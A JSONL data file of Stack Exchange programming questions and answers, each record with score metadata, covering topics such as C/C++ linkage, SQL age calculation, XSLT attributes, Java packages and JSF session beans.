{"id": "hf_9c686e678f47", "question": "<p>In my Java program, I create an <a href=\"http://www.erlang.org/doc/apps/jinterface/java/com/ericsson/otp/erlang/OtpNode.html\" rel=\"nofollow noreferrer\">OtpNode</a> and a \"named\" <a href=\"http://www.erlang.org/doc/apps/jinterface/java/com/ericsson/otp/erlang/OtpMbox.html\" rel=\"nofollow noreferrer\">OtpMBox</a>. Whenever a message is received via this mbox, some time-consuming operation needs to be performed after which a reply message is sent back. Since this operation is time-consuming, subsequent messages sent to the mbox won't be processed immediately. </p>\n\n<p>So I want to use Java threads - one per message received. My question is should I also create a new <a href=\"http://www.erlang.org/doc/apps/jinterface/java/com/ericsson/otp/erlang/OtpMbox.html\" rel=\"nofollow noreferrer\">OtpMBox</a> for each message received or can the original OtpMBox be shared among all the threads?</p>\n", "question_body": "", "answer": "I'm not really familiar with this stuff, but I suppose you may do some calculates )\nYou have overhead of running OtpMBox for each java-thread and overhead of controlling system (written in java) that would ask different threads to do some work and take results from them. I believe java isn't good tool for it )\nYou better do java-thread 'supervisor' that will start some (may be number of CPUs) amount 'worker' java-threads with OtpMBox and send OtpMBox's pids to erlang system.\n--sorry my english", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:05.925933"}
{"id": "hf_6a4ce4890175", "question": "<p>What are best practices with regards to C and C++ coding standards?  Should developers be allowed to willy-nilly mix them together.  Are there any complications when linking C and C++ object files.</p>\n\n<p>Should things like socket libraries that traditionally is written in C remain in C and kept in seperate source files? That is keeping c code in .c files and c++ code in .cpp files.\nWhen mixing c and C++ after being parsed with g++ will there be any performance penalties, since typesafe checks are not done in C? but are in C++.  Would would be the best way to link C and C++ source code files.</p>\n", "question_body": "", "answer": "The biggest issue is calling a C function from C++ code or vice versa. In that case, you want to make sure you mark the function as having \"C\" linkage using\n```\nextern \"C\"\n```\n. You can do this in the header file directly using:\n```\n```\n#if defined( __cplusplus )\nextern \"C\" {\n#endif\n\nextern int myfunc( const char *param, int another_one );\n\n#if defined( __cplusplus )\n}\n#endif\n```\n```\nYou need the\n```\n#if\n```\ns because C code that includes it won't understand\n```\nextern \"C\"\n```\n.\nIf you don't want to (or can't) change the header file, you can do it in the C++ code:\n```\n```\nextern \"C\" {\n#include \"myfuncheader.h\"\n}\n```\n```\nYou can mark a C++ function as having C linkage the same way, and then you can call it from C code. You can't do this for overloaded functions or C++ classes.\nOther than that, there should be no problem mixing C and C++. We have a number of decades-old C functions that are still being used by our C++ code.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:06.005805"}
{"id": "hf_a41af1759318", "question": "<p>Is there a way to find the size of a file object that is currently open?</p>\n\n<p>Specifically, I am working with the tarfile module to create tarfiles, but I don't want my tarfile to exceed a certain size.  As far as I know, tarfile objects are file-like objects, so I imagine a generic solution would work.</p>\n", "question_body": "", "answer": "If you have the file descriptor, you can use\n```\nfstat\n```\nto find out the size, if any. A more generic solution is to seek to the end of the file, and read its location there.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:06.028643"}
{"id": "hf_4c95ca4dcf96", "question": "<p>I need to create a BAT file to run an application through telnet, but as far as I know there is no way to do this on DOS. Telnet does not allow any command to be sent to the remote machine at the very instant of the connection, and each subsequent command in the BAT file would only be executed after telnet stops. This hypothetical piece of code illustrates what I want to do:</p>\n\n<pre><code>telnet 100.99.98.1 \"C:\\Application\\app.exe -a -b -c\"\n</code></pre>\n\n<p>And that would run the app.exe on the machine 100.99.98.1 with three parameters. Despite my efforts, nothing worked. Is there a way to do that?</p>\n\n<p>Tks,</p>\n\n<p>Pedrin Batista</p>\n", "question_body": "", "answer": "Using telnet in the way you want to is imho not possible.\nYou could you secure shell (ssh), but a ssh server has to run on the remote machine (100.99.98.1 in you case).\nEDIT:\nSee\nhttp://sshwindows.sourceforge.net/\nfor a ssh client and server (based on cygwin) for Windows.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:06.085065"}
{"id": "hf_647eccee0f45", "question": "<p>I am using the Zend Framework.</p>\n\n<p>I have a controller named 'UserController' that has a public function displayAction().</p>\n\n<p>I would like to know how I can get that action method to use a different viewer than the default display.phtml.</p>\n\n<p>Any help is appreciated.</p>\n", "question_body": "", "answer": "You can use\n```\n```\n$this->render('actionName');\n```\n```\nor, alternatively, you can call a view script directly by calling\n```\n```\n$this->renderScript('path/to/viewscript.phtml');\n```\n```\nFor more information, you can take a look at\nhttp://framework.zend.com/manual/en/zend.controller.actionhelpers.html\n, specifically the parts about the\n```\nrender()\n```\nand\n```\nrenderScript()\n```\nmethods.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:06.119690"}
{"id": "hf_d9bfb6a1e065", "question": "<p>I'm automating a web application (the Mantis bug tracker) and I'm getting an interesting response header from it, called Refresh:</p>\n\n<pre><code>HTTP/1.x 200 OK\n...\nRefresh: 0;url=my_view_page.php\n</code></pre>\n\n<p>It seems to be acting the same way that <a href=\"http://en.wikipedia.org/wiki/Meta_refresh\" rel=\"noreferrer\">meta refresh</a> does, and the meta refresh technique implies that it is an equivalent of a header in HTTP.</p>\n\n<p>Problem is, I can't find any mention of the Refresh header in the <a href=\"http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html\" rel=\"noreferrer\">HTTP standard</a> or any other definitive documentation on how it should be parsed and what the browser should do when it encounters it.</p>\n\n<p>What's going on here?</p>\n", "question_body": "", "answer": "from the W3C HTML 4.01 specification, quote:\nMETA and HTTP headers\nThe http-equiv attribute can be used in place of the name attribute and has a special significance when documents are retrieved via the Hypertext Transfer Protocol (HTTP). HTTP servers may use the property name specified by the http-equiv attribute to create an [RFC822]-style header in the HTTP response. Please see the HTTP specification ([RFC2616]) for details on valid HTTP headers.\nWhat this means is that when you use the\n```\n<meta http-equiv=\"refresh\" url=\"...\"/>\n```\ntag, you are actually instructing the browser to act as if there were a\n```\nRefresh\n```\nheader being sent.\na good overview of the history of it can be found at\nhttp://www.securiteam.com/securityreviews/6Z00320HFQ.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:06.164929"}
{"id": "hf_1ac51f2c4701", "question": "<p>I'm converting my applications to Delphi 2009 and faced an intriguing issue with some calls that need to convert a string (wide) to AnsiString.</p>\n\n<p>Here's an example to demonstrate the issue I'm having:</p>\n\n<pre><code>var\n  s: PAnsiChar;\n\n...\n\ns := PAnsiChar(Application.ExeName);\n</code></pre>\n\n<p>With Delphi 2007 and previous versions, s := PChar(Application.ExeName) would return the application exe path.</p>\n\n<p>with Delphi 2009, s := PAnsiChar(Application.ExeName) returns only 'E'.</p>\n\n<p>My guess is that's because I'm converting a unicode string to an ansi string but how can I convert it so that a PAnsiChar gets the full string?</p>\n", "question_body": "", "answer": "I have no Delphi 2009 here, so I can't check it. But maybe you have to try:\n```\n```\ns := PAnsiChar(AnsiString(Application.ExeName));\n```\n```\nAs gabr already pointed, this is not a very good practice, and you will only use it if you are 100% sure. The string only contains characters that have a direct mapping to the ANSI range.\nThat's why you should get a warning because you are converting Unicode to ANSI.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:06.187841"}
{"id": "hf_23459739029c", "question": "<p>I am reading a .csv file and returning its lines in string array. One of the members is manufacturer, for which I have Toyota, Ford, etc.</p>\n\n<p>I want to sort an array (Can be another collection) of the rows, by the value in manufacturer and alphabetical order.</p>\n\n<p>So I'd have:</p>\n\n<pre><code>28437 Ford Fiesta\n328   Honda Civic\n34949 Toyota Yaris\n</code></pre>\n\n<p>and so forth...</p>\n\n<p>What would be the best way to do this using C# and no database? I say no database because I could insert the csv into a table in a sql server database, and then query it and return the data. But this data is going into a html table built on the fly, which would make the database approach a little long winded.</p>\n", "question_body": "", "answer": "What version of .NET are you using? If you're using 3.5 - or can use C# 3.0 and\nLINQBridge\n- then I'd definitely go with LINQ. First transform each line into some appropriate object, and then use OrderBy:\n```\n```\nvar cars = lines.Select(line => Car.ParseLine(line))\n                .OrderBy(car => car.Manufacturer);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:06.213930"}
{"id": "hf_a3492d3e6608", "question": "<p>In a SQL Server database, I record people's date of birth. Is there an straight-forward method of working out the person's age on a given date using SQL only? </p>\n\n<p>Using <strong>DATEDIFF(YEAR, DateOfBirth, GETDATE())</strong> does not work as this only looks at the year part of the date. For example <strong>DATEDIFF(YEAR, '31 December 2007', '01 January 2008')</strong> returns 1.</p>\n", "question_body": "", "answer": "Check out this article:\nHow to calculate age of a person using SQL codes\nHere is the code from the article:\n```\n```\nDECLARE @BirthDate DATETIME\nDECLARE @CurrentDate DATETIME\n\nSELECT @CurrentDate = '20070210', @BirthDate = '19790519'\n\nSELECT DATEDIFF(YY, @BirthDate, @CurrentDate) - CASE WHEN( (MONTH(@BirthDate)*100 + DAY(@BirthDate)) > (MONTH(@CurrentDate)*100 + DAY(@CurrentDate)) ) THEN 1 ELSE 0 END\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:06.245099"}
{"id": "hf_73045ec49e51", "question": "<p>As far as Google searches tell me, the maximum allowed number of cookies depends very much on the browser, however I cannot find any recent data as to how much cookies are allowed on modern browsers.</p>\n\n<p>I need to store a somewhat large number of user preferences in cookies (for not-yet-registered users), so what would be the best way of doing that? (Also, those cookies would be accessed both via javascript client-side and php server-side) </p>\n", "question_body": "", "answer": "The best way would be to not store them in a cookie at all.\nStore them in a database, and store the DB key in the cookie.  If it's just a few preferences then security isn't much of an issue.\nDon't forget that cookies will be sent with every request - if you have 2kb of cookie data and load 10 images on a page, that's an extra 22kb of data.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:06.284100"}
{"id": "hf_3a216ee3c347", "question": "<p>I'm working now together with others in a grails project. I have to write some Java-classes. But I need access to an searchable object created with groovy. It seems, that this object has to be placed in the default-package. </p>\n\n<p>My question is: <strong>Is there a way to access this object in the default-package from a Java-class in a named package?</strong></p>\n", "question_body": "", "answer": "You can’t use\nclasses in the default package from a named package.\n(\nTechnically\nyou can, as shown in Sharique Abdullah's\nanswer\nthrough reflection API,\nbut\nclasses from the unnamed namespace are\nnot in scope\nin an\nimport declaration\n)\nPrior to J2SE 1.4 you could import classes from the default package using a syntax like this:\n```\n```\nimport Unfinished;\n```\n```\nThat's\nno longer allowed\n. So to access a default package class from within a packaged class requires moving the default package class into a package of its own.\nIf you have access to the source generated by groovy, some post-processing is needed to move the file into a dedicated package and add this \"package\" directive at its beginning.\nUpdate 2014:\nbug 6975015\n, for JDK7 and JDK8, describe an even\nstricter\nprohibition against import from unnamed package.\nThe\n```\nTypeName\n```\nmust be the canonical name of a class type, interface type, enum type, or annotation type.\nThe type must be either a member of a\nnamed package\n, or a member of a type whose outermost lexically enclosing type is a member of a\nnamed package\n,\nor a compile-time error occurs\n.\nAndreas\npoints out\nin the comments\n:\n\"why is [the default package] there in the first place? design error?\"\nNo, it's deliberate.\nJLS 7.4.2. Unnamed Packages\nsays: \"Unnamed packages are provided by the Java SE platform principally for convenience when developing small or temporary applications or when just beginning development\".", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:06.356605"}
{"id": "hf_90d519c3daf6", "question": "<p>Does anyone know if there is an implementation of <code>javax.jms.QueueConnectionFactory</code> for WebSphere MQ and where to get it? I Googled it and searched IBM website but couldn't find anything. I don't want to retrieve the connection or factory from Websphere MQ via JNDI, I need my own connection factory.</p>\n", "question_body": "", "answer": "I think you need three jars\n```\n```\ncom.ibm.mq.jar\ncom.ibm.mqbind.jar\ncom.ibm.mqjms.jar\n```\n```\nYou instantiate a\nMQQueueConnectionFactory\nand i hope you can take it from there.\nAnd here's more info:\nIBMs HOWTO\nOh, and MQ can do \"real\" JMS instead of MQ - only the JMS implementation seemed to have problems closing the Channel properly - at least in our environment.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:06.380318"}
{"id": "hf_df9f62d43a80", "question": "<p>How can I call a C++ function from C# .NET?</p>\n", "question_body": "", "answer": "compile the C++ function into a dll and\nuse P/Invoke\nor\ncompile the C++ function into a C++/CLI assembly, wrap in a managed C++ class, and then treat like any other assembly (add a reference, use a using statement and call the class)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:06.412504"}
{"id": "hf_50f5852ddb4a", "question": "<p>I am trying to establish a basic .NET Remoting communication between 2x 64bit windows machines. If Machine1 is acting as client and Machine2 as server, then everything works fine. The other way around the following exception occurs:</p>\n\n<p>System.Net.Sockets.SocketException: No connection could be made because the target machine actively refused it 172.16.7.44:6666</p>\n\n<p>The server code:</p>\n\n<pre><code>TcpChannel channel = new TcpChannel(6666);\nChannelServices.RegisterChannel(channel);\nRemotingConfiguration.RegisterWellKnownServiceType(\n  typeof(MyRemotableObject),\"HelloWorld\",WellKnownObjectMode.Singleton);\n</code></pre>\n\n<p>The client code:</p>\n\n<pre><code>TcpChannel chan = new TcpChannel();\nChannelServices.RegisterChannel(chan);\n// Create an instance of the remote object\nremoteObject = (MyRemotableObject)Activator.GetObject(\n  typeof(MyRemotableObject), \"tcp://172.16.7.44:6666/HelloWorld\");\n</code></pre>\n\n<p>Any idea whats wrong with my code?</p>\n", "question_body": "", "answer": "Windows Firewall? (Question author says this is not it.)\nTo track down connection issues the standard approach applies (apply in any order):\nping the machine\ndouble check if some process really is listening in port 6666 (\n```\nnetstat -an\n```\n)\ntelnet the machine on port 6666\ntry to use a different service on the machine.\ncheck if some configuration upsets the server process listening on 6666 and causes it to refuse you. (don't know if that is possible with .NET remoting)\nwatch communication with the machine using a packet sniffer (Packetyzer, for example) to find out what's going on at the TCP/IP level.\nmaybe active network infrastructure components between server and client (layer-3 switches, firewalls, NAT-routers, whatever) are interfering", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:06.433699"}
{"id": "hf_beb8c60e430c", "question": "<p>I have an XML input file and I'm trying to output the result of a call like:  </p>\n\n<pre><code>&lt;xsl:value-of select=\"Some/Value\"/&gt;  \n</code></pre>\n\n<p>into an attribute.  </p>\n\n<pre><code>&lt;Output Attribute=\"Value should be put here\"/&gt;\n</code></pre>\n\n<p>My problem is, since I'm outputting XML, the XSL processor won't allow me to write:  </p>\n\n<pre><code>&lt;Output Attribute=\"&lt;xsl:value-of select=\"Some/Value\"/&gt;\"&gt;\n</code></pre>\n\n<p>How do you accomplish this?</p>\n", "question_body": "", "answer": "You can use an xsl:attribute element:\n```\n```\n<Output>\n  <xsl:attribute name=\"Attribute\">\n    <xsl:value-of select=\"Some/Value\"/>\n  </xsl:attribute>\n</Output>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:06.463143"}
{"id": "hf_064ef20f9acc", "question": "<p>I'm trying to add a new node to an jQuery <a href=\"http://news.kg/wp-content/uploads/tree/\" rel=\"nofollow noreferrer\">SimpleTree</a>, but all I seem to be able to get is \"sTC.addNode is not a function\"... </p>\n\n<pre><code>var simpleTreeCollection = $('.simpleTree').simpleTree({\n    animate:true,\n    drag:false,\n    autoclose: false,\n    afterClick:function(node){},\n    afterDblClick:function(node){},\n    beforeMove:function (destination, source, pos){},\n    afterMove:function(destination, source, pos){},\n    afterAjax:function() {},\n    afterContextMenu:function(node){}\n});\n\nsimpleTreeCollection.addNode('test', 'test');\n</code></pre>\n\n<p>Any suggestions what I might be doing wrong? Is there even the possibility to add a node?</p>\n", "question_body": "", "answer": "hmm tricky one this and I have to say I dont like the plugin as it uses numerics as id's and w3c states \"The attribute's value must begin with a letter in the range A-Z or a-z and may be followed by letters.......\"\nHowever to get you working u need to select one of the nodes first in order to add to it like this\n```\n```\n//Select first child node in tree\n    $('#2').click();\n    //Add new node to selected node\n    simpleTreeCollection.get(0).addNode(1,'A New Node')\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:06.494130"}
{"id": "hf_18bb9e28a7de", "question": "<p>what's the best/proper way of interacting between several windows in C# app? \nRecently, I've run into a problem where one of program windows has to call method modifying main window. My solution was to create factory-like class, that would arrange all underlying model-data and organize the communication between various windows (through delegates). However, as passing one or two delegates was not a problem, I started thinking what if my other windows would need 10 delegates to interact properly with main window? Are delegates good solution? How to pass them in good way - through constructor, properties? Or maybe the need of using that many delegates is some serious design flaw itself?</p>\n", "question_body": "", "answer": "If it's only needing to interact with the main window, why not give a reference to the main window in the constructor of the others?\n```\n```\npublic class MainForm : Form\n{\n}\n\npublic class OtherForm : Form\n{\n    protected MainForm MainForm { get; set; }\n\n    public OtherForm(MainForm mainForm) : base()\n    {\n        this.MainForm = mainForm;\n    }\n}\n```\n```\nEDIT:\nSimple and effective.\nIf your forms need to interact with all the other forms of the application, then a\nservice locator\ntype pattern might be better suited.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:06.516968"}
{"id": "hf_d6b9f524b8e1", "question": "<p>I need to get an appointment into someone's Outlook calendar based on requests from their employees. The application runs in SharePoint (WSS 3.0). My first impressions are to use iCal or send meeting requests, but I haven't done either before &amp; I'm looking for a very quick &amp; easy way to get it done. Any ideas?</p>\n", "question_body": "", "answer": "Sorry, there's no easy answer that I know of or can find.  I'm sure you can do via code but not easily within the SharePoint point-and-click interface.\nFrom\nthis thread\nit seems writing an event handler on a Calendar list would be the most effective way.\nSo from a 10,000 ft perspective, you'd build a system or workflow in Sharepoint that results in creating calendar entries in a SharePoint calendar.  Then have an event listener whose job it is to create iCal emails when new items are created in that SP calendar.\nBrian Wilson (not the Beach Boy) has a few blog posts on\ngetting started with event handlers in SP", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:06.589877"}
{"id": "hf_c5cfe497e67b", "question": "<p>I would like to create a private customized social networking for my company employees and partners so that they can collaborate, exchange messages, share experiences (events, book references, etc) and be grouped into communities. Does anybody know good Java framework for start developing this? </p>\n\n<p>I would be looking for something that would contain basic components such as Profile, Friend List, Community, Events, Messages, etc. Each of this component could be extended to implement domain specific features. It would be nice if it also supports OpenSocial.</p>\n", "question_body": "", "answer": "Shindig is in incubation at Apache :\nhttp://incubator.apache.org/projects/shindig.html\nYouTube Link About Shindig :\nhttp://www.youtube.com/watch?v=ZcWszaReqXI\nA List of Open Source Social Networking >Applications< Written in Java:\nhttp://www.manageability.org/blog/stuff/java-open-source-social-network", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:06.616331"}
{"id": "hf_9c49034c269d", "question": "<p>This may be a painfully simply question for which I will be mocked but I am having difficulty in using filepaths in master pages. I believe this is because if a page in a sub-directory to using the master page then the filepath is incorrect.</p>\n<p>To fix this I need to get the filepath from the root but I can't seem to get it working.</p>\n<p>I tried:</p>\n<pre><code>&lt;script type=&quot;text/javascript&quot; src=&quot;~/jQueryScripts/jquery.js&quot;&gt;&lt;/script&gt; \n</code></pre>\n<p>and</p>\n<pre><code>&lt;script type=&quot;text/javascript&quot; src=&quot;../jQueryScripts/jquery.js&quot;&gt;&lt;/script&gt; \n</code></pre>\n\n<p>No luck on either!</p>\n<p>Any ideas on how I can tell it to get the filepath from the root?</p>\n", "question_body": "", "answer": "I'm just assuming by filepath, you actually mean url (or uri, I forget which one is partial).\nWithout the ~, the first example should work.\n```\n<script type=\"text/javascript\" src=\"/jQueryScripts/jquery.js\"></script>\n```\nwould cause the browser to request\nhttp://www.example.com/jQueryScripts/jquery.js\n(where www.example.com is your domain).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:06.707147"}
{"id": "hf_7047ec6cb797", "question": "<p>If for example you follow the link:</p>\n\n<p><code>data:application/octet-stream;base64,SGVsbG8=</code></p>\n\n<p>The browser will prompt you to download a file consisting of the data held as base64 in the hyperlink itself.  Is there any way of suggesting a default name in the markup?  If not, is there a JavaScript solution?</p>\n", "question_body": "", "answer": "According to\nRFC 2397\n, no, there isn't.\nNor does there appear to be any\nattribute\nof the\n```\n<a>\n```\nelement that you can use either.\nHowever HTML5 has subsequently introduced the\n```\ndownload\n```\nattribute on the\n```\n<a>\n```\nelement, although at the time of writing support is not universal (no MSIE support, for example)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:06.740686"}
{"id": "hf_b892359959ff", "question": "<p>for a server based j2ee application, I need to retrieve the number of pages from word documents.. any ideas what works?</p>\n", "question_body": "", "answer": "If the documents are modern Word 2007 format you can use direct XML-based manipulation, through\nOOXML\n. This is by far the better long term solution, though I realize it may not be realistic for an entire organization to change overnight.\nIf they are older Word formats, you're probably stuck with server-side Word/Excel/Powerpoint/Outlook programmable object models, although\nyou're not supposed to do that on the server\n..", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:06.803271"}
{"id": "hf_d69c68921e88", "question": "<p>I have a JComponent that's painting various shapes on itself.  I'm detecting whenever the mouse enters one of these shapes and changing the tooltip accordingly.</p>\n\n<p>The problems I'm having are:</p>\n\n<ul>\n<li>The tooltip doesn't follow the mouse as the user tracks the mouse across the shape. It \nstays where it was first set and then only jumps whenever another shape changes the tooltip.</li>\n<li>It takes about a second for the tooltip to appear, but I'd like it to appear immediately.</li>\n</ul>\n\n<p>Can someone suggest a way of getting these behaviours without writing a custom tooltip mechanism?</p>\n", "question_body": "", "answer": "Take a look at the\nToolTipManager\n.\nYou can register your component with that manager and then adjust a number of settings. Its pretty straight forward to use.\nThat at least can solve your initialdelay problem.\nFor your first problem you can overide the createTooltip command from your component to get a hold of the JTooltip instance. and then its easy make the position change whenever you move your mouse(aka follow your mouse) as its a subclass of the JComponent class.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:06.827496"}
{"id": "hf_b7af5c4ce147", "question": "<p>Does the C++ STL set data structure have a set difference operator?</p>\n", "question_body": "", "answer": "Yes, there is a\nset_difference\nfunction in the algorithms header.\nEdits:\nFYI, the set data structure is able to efficiently use that algorithm, as stated in its\ndocumentation\n.  The algorithm also works not just on sets but on any pair of iterators over sorted collections.\nAs others have mentioned, this is an external algorithm, not a method.  Presumably that's fine for your application.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:06.863290"}
{"id": "hf_5f0803831fa2", "question": "<p>What is the best way to convert a fixed length string array to a fixed lengh integer array in C++ ?</p>\n", "question_body": "", "answer": "This will copy an array of characters into an array of ints:\n```\n```\n#include <algorithm>\nchar foo[9] = \"asdfasdf\";\nint bar[9];\nstd::copy(foo, foo+9, bar);\n```\n```\nstd::copy\nThis assigns the values of a null terminated character array {'a', 's', 'd', 'f', 'a', 's', 'd', 'f', '\\0'} to an integer array, yielding {97, 115, 100, 102, 97, 115, 100, 102, 0}.  Note that this includes the null termination of the original string.\nThis will parse an array of strings, and put their integer values into an array of ints:\n```\n```\n#include <algorithm>\n#include <sstream>\n#include <string>\n\ntemplate <class T>\nT parse(const std::string& str)\n{\n    T temp;\n    std::istringstream iss(str);\n    iss >> temp;\n    if(iss.bad() || iss.fail())\n    {\n        // handle conversion failure\n    }\n    return temp;\n}\n\n...\n\nstd::string foo[3];\nint bar[3];\nfoo[0] = \"67\";\nfoo[1] = \"11\";\nfoo[2] = \"42\";\n\nstd::transform(foo, foo+3, bar, parse<int>);\n```\n```\nstd::transform\nThis will transform each of the strings in the array foo into ints, and place them in the array of ints, bar.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:06.899798"}
{"id": "hf_1727972451bc", "question": "<p>I am currently modifying some jsf application. I have two beans.</p>\n\n<ul>\n<li>connectionBean</li>\n<li>UIBean</li>\n</ul>\n\n<p>When I set my connection parameters in connectionBean the first time, the UIBean is able to read my connectionBean information and display the correct UI Tree.</p>\n\n<p>However when I try to set the connection parameters in the same session. My UIBean will still use the previous connectionBean information.</p>\n\n<p>It only will use after I invalidate the whole httpSession.</p>\n\n<p>Is there anyway I can make one session bean update another session bean?</p>\n", "question_body": "", "answer": "Sounds to me like it's some kind of problem with UIBean referencing an out-of-date version of ConnectionBean. This is one problem with JSF - if you re-create a bean, JSF will not update the references in all your other beans.\nYou could try getting a 'fresh' copy of the ConnectionBean each time. The following method will retrieve a backing bean by name:\n```\n```\nprotected Object getBackingBean( String name )\n{\n    FacesContext context = FacesContext.getCurrentInstance();\n\n    return context\n            .getApplication().createValueBinding( String.format( \"#{%s}\", name ) ).getValue( context );\n}\n```\n```\nWithout knowing the specifics of your code and how you're using the beans it's difficult to be more specific!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:06.934627"}
